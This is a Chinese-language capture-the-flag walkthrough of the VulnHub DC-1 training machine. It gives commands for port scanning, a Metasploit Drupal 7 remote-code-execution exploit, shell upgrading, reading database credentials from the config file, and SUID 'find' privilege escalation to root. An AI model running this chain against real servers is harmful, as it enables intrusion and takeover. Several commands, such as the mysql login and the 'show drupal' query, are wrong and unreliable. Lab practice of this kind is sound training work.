00-环境介绍
靶机下载地址:DC: 1 ~ VulnHub
攻击机:kali2022:192.168.200.129
DC1:192.168.200.135
目标:拿到5个flag
1由于这是一次黑盒测试所以只能根据目标mac地址来确认靶机的ip信息
由此判定靶机ip为192.168.200.135
2nmap直接扫
nmap -A 192.168.200.135 -p 1-65535
由此可见开放了22 80 111 42892端口,可以先去访问一下80端口
由此可见这个管理系统drupal7 ,用php语言写的。知道了cms是drupal7的了直接查看漏洞库(插件为wappalyzer)
我们去看一下漏洞库
searchsploit drupal 7.x
我们可以看到这个漏洞还是蛮多的,我的话选择的是最后一个远程代码执行漏洞
启动:msfconsole
search drupal 7.x
根据下面的要求设置
set RHOSTS 192.168.200.135
run
由于我们得到的不是一个完整的shell,所以要利用python模块反弹一个完整的shell
python -c 'import pty;pty.spawn("/bin/bash")'
自此我们已经拿到一个完整的shell,现在就能够去找flag了
这样就成功拿到了flag1
Every good CMS needs a config file - and so do you. (每个好的CMS都需要一个配置文件——你也是)根据提示我们开始找目录中的配置文件。这里也是百度一下知道了配置文件所在的位置 /sites/default
成功拿下flag2
接下来我的思路是想去家里看看(个人习惯)
拿到了flag4(基本上权限拿到之后基本上就在目录中到处看看,说不定会有惊喜)
接下来的话就要回去看flag2的提示了(爆破和目录扫描不是获得后台唯一的方法)
数据库名是drupaldb,用户名dbuser,密码R0ck3t
这些在flag2中都能找到,接下来就是连接mysql了
mysql -ubuser -pR0ck3t;
连接上去之后
show drupal;
show tables;
查看user表中就能知道用户名密码
不过使用了加密一般来说很难破解。(注这一块没有图的原因是我翻了好几次,有点乱图就不放了)
不过问题不大,我们回去原来的目录执行这个命令
php scripts/password-hash.sh admin123 就能更改为admin123
(这是提权之后,想了一下还是补一下图)
修改密码之后回到网站登录
账号admin
密码admin123
登录进去就能发现flag3了这里就不放图了(懒)
拿到flag4时候有提示flag in root
所以我们要进行提权
这里我用的是suid提权:find / -perm -4000 2>/dev/null
发现find有root权限(这里我是直接上网查的提权用法)
find -exec /bin/sh \;
至此所有flag均已拿下。(排版不好勿喷)